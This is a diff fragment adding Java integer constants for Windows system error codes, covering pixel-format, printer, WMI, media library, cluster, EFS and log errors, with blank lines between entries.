+  public static final int ERROR_INVALID_PIXEL_FORMAT = 2000;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_DRIVER = 2001;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_WINDOW_STYLE = 2002;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_METAFILE_NOT_SUPPORTED = 2003;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_TRANSFORM_NOT_SUPPORTED = 2004;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CLIPPING_NOT_SUPPORTED = 2005;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_CMM = 2010;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_PROFILE = 2011;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_TAG_NOT_FOUND = 2012;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_TAG_NOT_PRESENT = 2013;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DUPLICATE_TAG = 2014;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PROFILE_NOT_ASSOCIATED_WITH_DEVICE = 2015;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PROFILE_NOT_FOUND = 2016;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_COLORSPACE = 2017;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ICM_NOT_ENABLED = 2018;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DELETING_ICM_XFORM = 2019;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_TRANSFORM = 2020;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_COLORSPACE_MISMATCH = 2021;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_COLORINDEX = 2022;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PROFILE_DOES_NOT_MATCH_DEVICE = 2023;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CONNECTED_OTHER_PASSWORD = 2108;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CONNECTED_OTHER_PASSWORD_DEFAULT = 2109;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_USERNAME = 2202;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOT_CONNECTED = 2250;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_OPEN_FILES = 2401;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ACTIVE_CONNECTIONS = 2402;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DEVICE_IN_USE = 2404;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNKNOWN_PRINT_MONITOR = 3000;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PRINTER_DRIVER_IN_USE = 3001;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SPOOL_FILE_NOT_FOUND = 3002;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SPL_NO_STARTDOC = 3003;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SPL_NO_ADDJOB = 3004;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PRINT_PROCESSOR_ALREADY_INSTALLED = 3005;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PRINT_MONITOR_ALREADY_INSTALLED = 3006;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_PRINT_MONITOR = 3007;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PRINT_MONITOR_IN_USE = 3008;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PRINTER_HAS_JOBS_QUEUED = 3009;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SUCCESS_REBOOT_REQUIRED = 3010;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SUCCESS_RESTART_REQUIRED = 3011;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PRINTER_NOT_FOUND = 3012;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PRINTER_DRIVER_WARNED = 3013;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PRINTER_DRIVER_BLOCKED = 3014;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PRINTER_DRIVER_PACKAGE_IN_USE = 3015;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CORE_DRIVER_PACKAGE_NOT_FOUND = 3016;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FAIL_REBOOT_REQUIRED = 3017;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FAIL_REBOOT_INITIATED = 3018;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PRINTER_DRIVER_DOWNLOAD_NEEDED = 3019;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PRINT_JOB_RESTART_REQUIRED = 3020;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_IO_REISSUE_AS_CACHED = 3950;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WINS_INTERNAL = 4000;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CAN_NOT_DEL_LOCAL_WINS = 4001;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_STATIC_INIT = 4002;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INC_BACKUP = 4003;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FULL_BACKUP = 4004;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_REC_NON_EXISTENT = 4005;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_RPL_NOT_ALLOWED = 4006;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DHCP_ADDRESS_CONFLICT = 4100;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WMI_GUID_NOT_FOUND = 4200;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WMI_INSTANCE_NOT_FOUND = 4201;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WMI_ITEMID_NOT_FOUND = 4202;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WMI_TRY_AGAIN = 4203;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WMI_DP_NOT_FOUND = 4204;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WMI_UNRESOLVED_INSTANCE_REF = 4205;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WMI_ALREADY_ENABLED = 4206;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WMI_GUID_DISCONNECTED = 4207;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WMI_SERVER_UNAVAILABLE = 4208;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WMI_DP_FAILED = 4209;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WMI_INVALID_MOF = 4210;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WMI_INVALID_REGINFO = 4211;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WMI_ALREADY_DISABLED = 4212;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WMI_READ_ONLY = 4213;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WMI_SET_FAILURE = 4214;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_MEDIA = 4300;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_LIBRARY = 4301;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_MEDIA_POOL = 4302;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DRIVE_MEDIA_MISMATCH = 4303;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MEDIA_OFFLINE = 4304;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_LIBRARY_OFFLINE = 4305;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_EMPTY = 4306;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOT_EMPTY = 4307;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MEDIA_UNAVAILABLE = 4308;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_RESOURCE_DISABLED = 4309;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_CLEANER = 4310;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNABLE_TO_CLEAN = 4311;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_OBJECT_NOT_FOUND = 4312;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DATABASE_FAILURE = 4313;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DATABASE_FULL = 4314;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MEDIA_INCOMPATIBLE = 4315;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_RESOURCE_NOT_PRESENT = 4316;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_OPERATION = 4317;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MEDIA_NOT_AVAILABLE = 4318;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DEVICE_NOT_AVAILABLE = 4319;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_REQUEST_REFUSED = 4320;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_DRIVE_OBJECT = 4321;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_LIBRARY_FULL = 4322;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MEDIUM_NOT_ACCESSIBLE = 4323;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNABLE_TO_LOAD_MEDIUM = 4324;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNABLE_TO_INVENTORY_DRIVE = 4325;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNABLE_TO_INVENTORY_SLOT = 4326;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNABLE_TO_INVENTORY_TRANSPORT = 4327;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_TRANSPORT_FULL = 4328;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CONTROLLING_IEPORT = 4329;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_UNABLE_TO_EJECT_MOUNTED_MEDIA = 4330;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLEANER_SLOT_SET = 4331;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLEANER_SLOT_NOT_SET = 4332;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLEANER_CARTRIDGE_SPENT = 4333;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_UNEXPECTED_OMID = 4334;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CANT_DELETE_LAST_ITEM = 4335;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_MESSAGE_EXCEEDS_MAX_SIZE = 4336;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_VOLUME_CONTAINS_SYS_FILES = 4337;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_INDIGENOUS_TYPE = 4338;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_NO_SUPPORTING_DRIVES = 4339;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLEANER_CARTRIDGE_INSTALLED = 4340;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IEPORT_FULL = 4341;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_FILE_OFFLINE = 4350;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_REMOTE_STORAGE_NOT_ACTIVE = 4351;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_REMOTE_STORAGE_MEDIA_ERROR = 4352;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_NOT_A_REPARSE_POINT = 4390;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_REPARSE_ATTRIBUTE_CONFLICT = 4391;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_REPARSE_DATA = 4392;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_REPARSE_TAG_INVALID = 4393;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_REPARSE_TAG_MISMATCH = 4394;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_VOLUME_NOT_SIS_ENABLED = 4500;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DEPENDENT_RESOURCE_EXISTS = 5001;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DEPENDENCY_NOT_FOUND = 5002;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DEPENDENCY_ALREADY_EXISTS = 5003;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_RESOURCE_NOT_ONLINE = 5004;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_HOST_NODE_NOT_AVAILABLE = 5005;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_RESOURCE_NOT_AVAILABLE = 5006;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_RESOURCE_NOT_FOUND = 5007;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SHUTDOWN_CLUSTER = 5008;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CANT_EVICT_ACTIVE_NODE = 5009;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_OBJECT_ALREADY_EXISTS = 5010;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_OBJECT_IN_LIST = 5011;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_GROUP_NOT_AVAILABLE = 5012;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_GROUP_NOT_FOUND = 5013;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_GROUP_NOT_ONLINE = 5014;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_HOST_NODE_NOT_RESOURCE_OWNER = 5015;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_HOST_NODE_NOT_GROUP_OWNER = 5016;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_RESMON_CREATE_FAILED = 5017;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_RESMON_ONLINE_FAILED = 5018;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_RESOURCE_ONLINE = 5019;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_QUORUM_RESOURCE = 5020;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_NOT_QUORUM_CAPABLE = 5021;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_SHUTTING_DOWN = 5022;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_STATE = 5023;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_RESOURCE_PROPERTIES_STORED = 5024;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_NOT_QUORUM_CLASS = 5025;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CORE_RESOURCE = 5026;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_QUORUM_RESOURCE_ONLINE_FAILED = 5027;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_QUORUMLOG_OPEN_FAILED = 5028;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTERLOG_CORRUPT = 5029;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTERLOG_RECORD_EXCEEDS_MAXSIZE = 5030;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTERLOG_EXCEEDS_MAXSIZE = 5031;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTERLOG_CHKPOINT_NOT_FOUND = 5032;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTERLOG_NOT_ENOUGH_SPACE = 5033;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_QUORUM_OWNER_ALIVE = 5034;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_NETWORK_NOT_AVAILABLE = 5035;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_NODE_NOT_AVAILABLE = 5036;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_ALL_NODES_NOT_AVAILABLE = 5037;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_RESOURCE_FAILED = 5038;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_INVALID_NODE = 5039;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_NODE_EXISTS = 5040;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_JOIN_IN_PROGRESS = 5041;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_NODE_NOT_FOUND = 5042;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_LOCAL_NODE_NOT_FOUND = 5043;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_NETWORK_EXISTS = 5044;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_NETWORK_NOT_FOUND = 5045;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_NETINTERFACE_EXISTS = 5046;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_NETINTERFACE_NOT_FOUND = 5047;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_INVALID_REQUEST = 5048;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_INVALID_NETWORK_PROVIDER = 5049;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_NODE_DOWN = 5050;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_NODE_UNREACHABLE = 5051;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_NODE_NOT_MEMBER = 5052;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_JOIN_NOT_IN_PROGRESS = 5053;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_INVALID_NETWORK = 5054;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_NODE_UP = 5056;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_IPADDR_IN_USE = 5057;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_NODE_NOT_PAUSED = 5058;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_NO_SECURITY_CONTEXT = 5059;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_NETWORK_NOT_INTERNAL = 5060;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_NODE_ALREADY_UP = 5061;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_NODE_ALREADY_DOWN = 5062;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_NETWORK_ALREADY_ONLINE = 5063;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_NETWORK_ALREADY_OFFLINE = 5064;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_NODE_ALREADY_MEMBER = 5065;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_LAST_INTERNAL_NETWORK = 5066;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_NETWORK_HAS_DEPENDENTS = 5067;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_OPERATION_ON_QUORUM = 5068;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DEPENDENCY_NOT_ALLOWED = 5069;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_NODE_PAUSED = 5070;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_NODE_CANT_HOST_RESOURCE = 5071;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_NODE_NOT_READY = 5072;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_NODE_SHUTTING_DOWN = 5073;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_JOIN_ABORTED = 5074;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_INCOMPATIBLE_VERSIONS = 5075;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_MAXNUM_OF_RESOURCES_EXCEEDED = 5076;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_SYSTEM_CONFIG_CHANGED = 5077;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_RESOURCE_TYPE_NOT_FOUND = 5078;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_RESTYPE_NOT_SUPPORTED = 5079;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_RESNAME_NOT_FOUND = 5080;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_NO_RPC_PACKAGES_REGISTERED = 5081;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_OWNER_NOT_IN_PREFLIST = 5082;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_DATABASE_SEQMISMATCH = 5083;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_RESMON_INVALID_STATE = 5084;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_GUM_NOT_LOCKER = 5085;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_QUORUM_DISK_NOT_FOUND = 5086;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DATABASE_BACKUP_CORRUPT = 5087;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_NODE_ALREADY_HAS_DFS_ROOT = 5088;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_RESOURCE_PROPERTY_UNCHANGEABLE = 5089;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_MEMBERSHIP_INVALID_STATE = 5890;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_QUORUMLOG_NOT_FOUND = 5891;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_MEMBERSHIP_HALT = 5892;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_INSTANCE_ID_MISMATCH = 5893;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_NETWORK_NOT_FOUND_FOR_IP = 5894;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_PROPERTY_DATA_TYPE_MISMATCH = 5895;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_EVICT_WITHOUT_CLEANUP = 5896;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_PARAMETER_MISMATCH = 5897;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_NODE_CANNOT_BE_CLUSTERED = 5898;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_WRONG_OS_VERSION = 5899;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_CANT_CREATE_DUP_CLUSTER_NAME = 5900;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSCFG_ALREADY_COMMITTED = 5901;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSCFG_ROLLBACK_FAILED = 5902;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSCFG_SYSTEM_DISK_DRIVE_LETTER_CONFLICT = 5903;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_OLD_VERSION = 5904;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_MISMATCHED_COMPUTER_ACCT_NAME = 5905;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_NO_NET_ADAPTERS = 5906;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_POISONED = 5907;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_GROUP_MOVING = 5908;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_RESOURCE_TYPE_BUSY = 5909;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_RESOURCE_CALL_TIMED_OUT = 5910;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_CLUSTER_IPV6_ADDRESS = 5911;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_INTERNAL_INVALID_FUNCTION = 5912;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_PARAMETER_OUT_OF_BOUNDS = 5913;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_PARTIAL_SEND = 5914;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_REGISTRY_INVALID_FUNCTION = 5915;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_INVALID_STRING_TERMINATION = 5916;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_INVALID_STRING_FORMAT = 5917;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_DATABASE_TRANSACTION_IN_PROGRESS = 5918;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_DATABASE_TRANSACTION_NOT_IN_PROGRESS = 5919;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_NULL_DATA = 5920;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_PARTIAL_READ = 5921;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_PARTIAL_WRITE = 5922;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_CANT_DESERIALIZE_DATA = 5923;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DEPENDENT_RESOURCE_PROPERTY_CONFLICT = 5924;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_NO_QUORUM = 5925;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_INVALID_IPV6_NETWORK = 5926;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_INVALID_IPV6_TUNNEL_NETWORK = 5927;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_QUORUM_NOT_ALLOWED_IN_THIS_GROUP = 5928;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DEPENDENCY_TREE_TOO_COMPLEX = 5929;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EXCEPTION_IN_RESOURCE_CALL = 5930;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_RHS_FAILED_INITIALIZATION = 5931;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_NOT_INSTALLED = 5932;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CLUSTER_RESOURCES_MUST_BE_ONLINE_ON_THE_SAME_NODE = 5933;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_ENCRYPTION_FAILED = 6000;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DECRYPTION_FAILED = 6001;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_FILE_ENCRYPTED = 6002;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_NO_RECOVERY_POLICY = 6003;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_NO_EFS = 6004;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_WRONG_EFS = 6005;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_NO_USER_KEYS = 6006;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_FILE_NOT_ENCRYPTED = 6007;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_NOT_EXPORT_FORMAT = 6008;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_FILE_READ_ONLY = 6009;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DIR_EFS_DISALLOWED = 6010;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EFS_SERVER_NOT_TRUSTED = 6011;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_RECOVERY_POLICY = 6012;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EFS_ALG_BLOB_TOO_BIG = 6013;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_VOLUME_NOT_SUPPORT_EFS = 6014;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EFS_DISABLED = 6015;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EFS_VERSION_NOT_SUPPORT = 6016;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CS_ENCRYPTION_INVALID_SERVER_RESPONSE = 6017;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CS_ENCRYPTION_UNSUPPORTED_SERVER = 6018;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CS_ENCRYPTION_EXISTING_ENCRYPTED_FILE = 6019;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CS_ENCRYPTION_NEW_ENCRYPTED_FILE = 6020;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_CS_ENCRYPTION_FILE_NOT_CSE = 6021;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_NO_BROWSER_SERVERS_FOUND = 6118;
+  
+
+
+
+
+
+
+
+  public static final int SCHED_E_SERVICE_NOT_LOCALSYSTEM = 6200;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_SECTOR_INVALID = 6600;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_SECTOR_PARITY_INVALID = 6601;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_SECTOR_REMAPPED = 6602;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_BLOCK_INCOMPLETE = 6603;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_INVALID_RANGE = 6604;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_LOG_BLOCKS_EXHAUSTED = 6605;
